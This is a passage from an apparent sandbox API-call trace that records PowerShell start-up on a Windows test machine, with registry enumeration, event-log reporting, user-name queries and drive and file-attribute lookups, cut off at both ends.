hKey=0x3b0, dwIndex=0x6, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.299] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x7, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.300] RegEnumKeyExW (in: hKey=0x3b0, dwIndex=0x8, lpName=0x413238, lpcchName=0x2ee874, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2ee874, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0065.300] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x390) returned 0x0 [0065.300] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.300] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3b4) returned 0x0 [0065.300] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.300] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3b8) returned 0x0 [0065.300] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.300] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3bc) returned 0x0 [0065.300] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.301] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3c0) returned 0x0 [0065.301] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.301] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3c4) returned 0x0 [0065.301] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.301] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3c8) returned 0x0 [0065.301] RegOpenKeyExW (in: hKey=0x3c8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.301] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3cc) returned 0x0 [0065.302] RegOpenKeyExW (in: hKey=0x3cc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x0) returned 0x2 [0065.302] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3d0) returned 0x0 [0065.302] RegOpenKeyExW (in: hKey=0x3d0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ee820 | out: phkResult=0x2ee820*=0x3d4) returned 0x0 [0065.302] RegCloseKey (hKey=0x3d4) returned 0x0 [0065.302] RegCloseKey (hKey=0x3b0) returned 0x0 [0065.302] RegCloseKey (hKey=0x3d0) returned 0x0 [0065.326] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4f20004 [0065.329] GetLastError () returned 0x0 [0065.330] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35ede58*="WSMan", lpRawData=0x35edd00) returned 1 [0065.351] GetLastError () returned 0x0 [0065.355] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.355] GetLastError () returned 0xcb [0065.355] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.356] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35f1d34*="Alias", lpRawData=0x35f1bf0) returned 1 [0065.356] GetLastError () returned 0x0 [0065.357] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.357] GetLastError () returned 0xcb [0065.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee394, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.358] GetLastError () returned 0xcb [0065.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.358] GetLastError () returned 0xcb [0065.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.358] GetLastError () returned 0xcb [0065.358] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.359] GetLastError () returned 0xcb [0065.359] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.359] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35f5cc8*="Environment", lpRawData=0x35f5b84) returned 1 [0065.359] GetLastError () returned 0x0 [0065.360] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.360] GetLastError () returned 0xcb [0065.361] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0065.361] GetLastError () returned 0xcb [0065.361] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0065.361] GetLastError () returned 0xcb [0065.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x2ee4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0065.362] GetLastError () returned 0xcb [0065.362] SetErrorMode (uMode=0x1) returned 0x1 [0065.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x2ee944 | out: lpFileInformation=0x2ee944*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.362] GetLastError () returned 0xcb [0065.362] SetErrorMode (uMode=0x1) returned 0x1 [0065.362] GetLogicalDrives () returned 0x4 [0065.362] GetLastError () returned 0xcb [0065.363] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2ee3e8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.363] GetLastError () returned 0xcb [0065.364] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.364] GetLastError () returned 0xcb [0065.364] SetErrorMode (uMode=0x1) returned 0x1 [0065.366] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x413338, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x2ee910, lpMaximumComponentLength=0x2ee90c, lpFileSystemFlags=0x2ee908, lpFileSystemNameBuffer=0x413238, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2ee910*=0x9c354b42, lpMaximumComponentLength=0x2ee90c*=0xff, lpFileSystemFlags=0x2ee908*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0065.366] GetLastError () returned 0xcb [0065.366] SetErrorMode (uMode=0x1) returned 0x1 [0065.366] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.366] GetLastError () returned 0xcb [0065.366] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ee470, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.366] GetLastError () returned 0xcb [0065.366] SetErrorMode (uMode=0x1) returned 0x1 [0065.366] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x35f6f00 | out: lpFileInformation=0x35f6f00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.366] GetLastError () returned 0xcb [0065.366] SetErrorMode (uMode=0x1) returned 0x1 [0065.367] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ee470, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.367] GetLastError () returned 0xcb [0065.367] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2ee3fc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.367] GetLastError () returned 0xcb [0065.367] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.367] GetLastError () returned 0xcb [0065.368] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x2ee3b8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.368] GetLastError () returned 0xcb [0065.368] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.368] GetLastError () returned 0xcb [0065.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ee3c0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.372] GetLastError () returned 0xcb [0065.372] SetErrorMode (uMode=0x1) returned 0x1 [0065.372] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x35f7b58 | out: lpFileInformation=0x35f7b58*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.372] GetLastError () returned 0xcb [0065.372] SetErrorMode (uMode=0x1) returned 0x1 [0065.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ee3c8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.372] GetLastError () returned 0xcb [0065.372] SetErrorMode (uMode=0x1) returned 0x1 [0065.372] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x35f7ca8 | out: lpFileInformation=0x35f7ca8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.372] GetLastError () returned 0xcb [0065.372] SetErrorMode (uMode=0x1) returned 0x1 [0065.372] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x2ee40c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.372] GetLastError () returned 0xcb [0065.372] SetErrorMode (uMode=0x1) returned 0x1 [0065.372] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x35f7e48 | out: lpFileInformation=0x35f7e48*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x139e7190, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x139e7190, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0065.372] GetLastError () returned 0xcb [0065.373] SetErrorMode (uMode=0x1) returned 0x1 [0065.373] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.373] GetLastError () returned 0xcb [0065.373] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.374] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35fabd0*="FileSystem", lpRawData=0x35faa8c) returned 1 [0065.374] GetLastError () returned 0x0 [0065.375] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.375] GetLastError () returned 0xcb [0065.375] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.375] GetLastError () returned 0xcb [0065.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.376] GetLastError () returned 0xcb [0065.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.376] GetLastError () returned 0xcb [0065.376] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.376] GetLastError () returned 0xcb [0065.376] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.377] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x35fecc0*="Function", lpRawData=0x35feb7c) returned 1 [0065.377] GetLastError () returned 0x0 [0065.380] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.380] GetLastError () returned 0xcb [0065.383] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.383] GetLastError () returned 0xcb [0065.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.384] GetLastError () returned 0xcb [0065.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.384] GetLastError () returned 0xcb [0065.384] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.384] GetLastError () returned 0xcb [0065.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee3a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.424] GetLastError () returned 0xcb [0065.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.425] GetLastError () returned 0xcb [0065.425] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.425] GetLastError () returned 0xcb [0065.426] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.427] GetLastError () returned 0xcb [0065.427] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.427] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3617d7c*="Registry", lpRawData=0x3617c38) returned 1 [0065.441] GetLastError () returned 0x0 [0065.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee394, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.443] GetLastError () returned 0x0 [0065.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.443] GetLastError () returned 0x0 [0065.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.443] GetLastError () returned 0x0 [0065.443] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.443] GetLastError () returned 0x0 [0065.443] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.444] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x361bb64*="Variable", lpRawData=0x361ba20) returned 1 [0065.444] GetLastError () returned 0x0 [0065.447] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.447] GetLastError () returned 0xcb [0065.451] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.451] GetLastError () returned 0xcb [0065.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee394, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.452] GetLastError () returned 0xcb [0065.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.452] GetLastError () returned 0xcb [0065.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.452] GetLastError () returned 0xcb [0065.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x2ee344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.452] GetLastError () returned 0xcb [0065.512] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2ee994 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2ee994) returned 0x1 [0065.513] GetLastError () returned 0x3 [0065.513] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2ee99c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2ee99c) returned 1 [0065.513] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3629930*="Certificate", lpRawData=0x36297ec) returned 1 [0065.514] GetLastError () returned 0x0 [0065.528] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.528] GetLastError () returned 0xcb [0065.530] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x413238 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned 0x50 [0065.530] GetLastError () returned 0xcb [0065.532] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.532] GetLastError () returned 0xcb [0065.532] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.532] GetLastError () returned 0xcb [0065.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.562] GetLastError () returned 0xcb [0065.564] GetEnvironmentVariableW (in: 